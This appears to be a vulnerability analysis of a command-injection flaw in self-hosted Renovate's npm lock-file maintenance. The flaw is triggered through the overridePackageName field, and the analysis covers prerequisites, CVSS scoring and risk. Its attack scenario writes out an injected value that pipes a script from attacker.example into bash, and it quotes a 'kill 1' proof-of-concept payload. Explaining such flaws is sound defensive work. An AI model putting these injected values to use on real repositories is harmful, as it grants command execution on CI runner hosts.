Renovate CVE-2026-76230

Exploitation requires the attacker to hold repository write access (e.g., GitHub contributor, maintainer, or equivalent SCM role) to a repository that is actively monitored by a self-hosted Renovate instance. The specific vulnerable code path is triggered during npm lock file maintenance operations (the isLockfileUpdate: true path in lib/modules/manager/npm/post-update/npm.ts), meaning the repository must contain an npm package-lock.json and Renovate must be configured to perform lock file updates for that repository. The attack payload is delivered via the overridePackageName field (or any source that populates packageName) in a packageRules block within the Renovate configuration file. Exploitation is limited by the PR:H barrier: opportunistic unauthenticated attackers cannot exploit this - only accounts with existing repository write access are positioned to inject the malicious configuration. Organizations using the managed Renovate GitHub App (rather than self-hosted Renovate) are largely unexploitable through this path because they do not control the execution environment.

The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H) reflects low attack complexity but a meaningful privilege barrier - repository write access is required, limiting the exploitable population to trusted contributors or maintainers of repositories actively managed by a self-hosted Renovate instance. The absence of this CVE from the CISA KEV catalog and the lack of a provided EPSS score suggest exploitation has not reached broad commodity levels, but the publicly available proof of concept in the official advisory (GHSA-fr4j-65pv-gjjj) drastically lowers the skill threshold for any insider or compromised contributor. Real-world risk is highest in organizations running self-hosted Renovate with broad CI permissions on shared runner infrastructure; even a mid-sized municipal IT team in olsztyn operating self-hosted Renovate on a shared GitLab runner should treat this as urgent, given that successful exploitation yields full command execution on the runner host rather than just the repository. Organizations relying on the managed Renovate GitHub App face substantially reduced risk since they do not control the execution environment. No conflicting CVSS signals were identified; the PR:H rating is consistent with the repository-write-access prerequisite described in the advisory.

An attacker with Git write access to a repository managed by a self-hosted Renovate instance commits a renovate.json5 file containing a packageRules entry that uses overridePackageName to set a package name to a shell-injected string such as ; curl attacker.example/shell.sh | bash; echo . When Renovate's scheduled run processes the repository and performs npm lock file maintenance, the npm post-update module appends this unsanitized string directly to an npm install shell command, causing the attacker's payload to execute with the privileges of the Renovate process on the CI runner host. A working proof of concept demonstrating this exact technique (using ; kill 1; echo as the injected payload) is publicly documented in the official GitHub Security Advisory GHSA-fr4j-65pv-gjjj.